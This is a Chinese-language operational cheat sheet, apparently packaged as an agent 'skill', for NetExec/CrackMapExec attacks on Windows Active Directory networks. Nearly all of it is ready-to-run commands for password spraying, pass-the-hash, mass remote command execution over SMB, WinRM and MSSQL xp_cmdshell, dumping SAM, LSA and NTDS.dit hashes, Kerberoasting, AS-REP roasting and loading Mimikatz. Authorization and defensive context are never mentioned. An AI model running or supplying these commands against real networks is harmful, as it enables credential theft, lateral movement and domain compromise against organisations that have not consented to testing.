用途
nxc-cme 技能用于指导使用 NetExec (nxc) 或 CrackMapExec (cme) 对 Windows/Active Directory 网络进行批量操作。nxc 是 CrackMapExec 的继任者,命令语法几乎相同,但更新更活跃;若目标机器上只有 cme,把 nxc 换成 cme 即可。其核心价值在于用一条命令操作整个网段,完成批量验证凭据、喷洒密码、远程执行与枚举信息。
项目地址:
- NetExec: https://github.com/Pennyw0rth/NetExec
- CrackMapExec: https://github.com/Porchetta-Industries/CrackMapExec
主要能力
网络发现与输出解读
# 子网扫描发现 Windows 主机
nxc smb 10.0.0.0/24
# 指定非默认端口
nxc smb TARGET --port 4455
输出字段解读:
SMB 10.0.0.1 445 DC01 [*] Windows Server 2022 (name:DC01) (domain:corp.local) (signing:True) (SMBv1:False)
- hostname:主机名
- domain:域名
- signing:True:域控或强制签名主机,无法 NTLM 中继
- signing:False:可作为 NTLM 中继目标
- SMBv1:SMBv1 状态
输出导出:
nxc smb 10.0.0.0/24 --export json /tmp/nxc_scan.json
nxc smb 10.0.0.0/24 | tee nxc_output.txt
自动生成配置文件(域环境快速配置):
nxc smb DC_IP --generate-hosts-file /etc/hosts # 生成 /etc/hosts 映射
nxc smb DC_IP --generate-krb5-file /etc/krb5.conf # 生成 Kerberos 配置
RDP 协议探测:
nxc rdp 10.0.0.0/24 # 发现开放 RDP 的主机
nxc rdp TARGET -u user -p 'password' # RDP 凭据验证
凭据验证
# 密码认证
nxc smb 10.0.0.0/24 -u admin -p 'P@ssw0rd'
# NTLM 哈希传递
nxc smb 10.0.0.0/24 -u admin -H NTLM_HASH
# 本地管理员(不用域认证)
nxc smb 10.0.0.0/24 -u administrator -p 'password' --local-auth
输出中 [+] 表示认证成功,(Pwn3d!) 表示有管理员权限。
密码喷洒
# 一个密码试所有用户(安全,不触发锁定)
nxc smb DC_IP -u users.txt -p 'Summer2024!' --continue-on-success
# 多密码喷洒(注意锁定策略)
nxc smb DC_IP -u users.txt -p passwords.txt --continue-on-success --no-bruteforce
# WinRM 协议喷洒
nxc winrm 10.0.0.0/24 -u admin -p 'password'
远程命令执行
# 通过 SMB 执行命令
nxc smb TARGET -u admin -p 'password' -x "whoami"
nxc smb TARGET -u admin -p 'password' -x "type C:\flag.txt"
# 通过 WinRM 执行
nxc winrm TARGET -u admin -p 'password' -x "ipconfig"
# PowerShell 执行
nxc smb TARGET -u admin -p 'password' -X "Get-Process"
# 批量执行(整个网段)
nxc smb 10.0.0.0/24 -u admin -p 'password' -x "hostname" --continue-on-success
信息枚举
# SMB 共享枚举
nxc smb TARGET -u user -p 'password' --shares
# 用户枚举
nxc smb DC_IP -u user -p 'password' --users
# 组枚举
nxc smb DC_IP -u user -p 'password' --groups
# 密码策略
nxc smb DC_IP -u user -p 'password' --pass-pol
# 会话枚举(看谁登录了哪台机器)
nxc smb 10.0.0.0/24 -u user -p 'password' --sessions
# 已登录用户
nxc smb 10.0.0.0/24 -u user -p 'password' --loggedon-users
凭据导出
# SAM 导出(本地哈希)
nxc smb TARGET -u admin -p 'password' --sam
# LSA 导出
nxc smb TARGET -u admin -p 'password' --lsa
# NTDS.dit 导出(域控上的所有域用户哈希)
nxc smb DC_IP -u admin -p 'password' --ntds
# 搭配 hashcat 破解
nxc smb DC_IP -u admin -p 'password' --ntds | tee ntds_dump.txt
LDAP 操作
# LDAP 用户枚举
nxc ldap DC_IP -u user -p 'password' --users
# 查找 Kerberoastable 账户
nxc ldap DC_IP -u user -p 'password' --kerberoasting output.txt
# AS-REP Roasting
nxc ldap DC_IP -u user -p 'password' --asreproast output.txt
# 域信任
nxc ldap DC_IP -u user -p 'password' --trusted-for-delegation
MSSQL
# MSSQL 凭据验证
nxc mssql 10.0.0.0/24 -u sa -p 'password'
# 执行 SQL
nxc mssql TARGET -u sa -p 'password' -q "SELECT name FROM master.dbo.sysdatabases"
# xp_cmdshell 执行
nxc mssql TARGET -u sa -p 'password' -x "whoami"
模块系统
# 列出可用模块
nxc smb -L
# 使用 Mimikatz 模块
nxc smb TARGET -u admin -p 'password' -M mimikatz
# 使用 Spider 模块(搜索共享中的敏感文件)
nxc smb TARGET -u user -p 'password' -M spider_plus
# WebDAV 检测
nxc smb TARGET -u user -p 'password' -M webdav
使用方式
该技能以命令示例形式组织,按协议(SMB、WinRM、LDAP、MSSQL、RDP 等)和任务类型(发现、验证、喷洒、执行、枚举、导出、模块)分类。使用时根据目标协议和任务选择对应命令,替换目标地址、用户名、密码或哈希等参数。批量操作时常用 --continue-on-success 保持继续执行,密码喷洒时使用 --no-bruteforce 避免触发账户锁定。
适用场景
- 对整个网段进行 Windows 主机发现与信息收集
- 批量验证凭据(密码、NTLM 哈希、本地管理员)
- 密码喷洒(单密码或多密码,需注意锁定策略)
- 通过 SMB/WinRM 远程执行命令或 PowerShell
- 枚举共享、用户、组、密码策略、会话与已登录用户
- 导出 SAM、LSA、NTDS.dit 等凭据数据
- LDAP 用户枚举、Kerberoasting、AS-REP Roasting、域信任查询
- MSSQL 凭据验证、SQL 执行与 xp_cmdshell 命令执行
- 使用模块系统进行 Mimikatz、Spider、WebDAV 检测等操作
限制
- 资料未提供 nxc/cme 的安装步骤、系统要求、版本兼容性、授权许可或收费信息。
- 资料未提供各命令的完整参数列表、错误处理方式或性能限制。
- 资料未提供具体平台支持范围(如操作系统版本)或与其他工具的集成细节。
- 密码喷洒等操作可能触发账户锁定策略,需自行评估目标环境策略。
- 部分操作(如凭据导出、远程执行)需要相应权限,资料未说明权限获取方式。
决策参考
nxc 与 impacket 的选择:
- 批量操作(整个网段)→ nxc(一条命令做完)
- 单目标深度操作 → impacket(更灵活)
- 密码喷洒 → nxc(内置 --no-bruteforce)
- 凭据导出 → 都行(nxc --sam/--ntds 或 secretsdump)
- NTLM 中继 → impacket ntlmrelayx
- Kerberos 攻击 → impacket(更完整)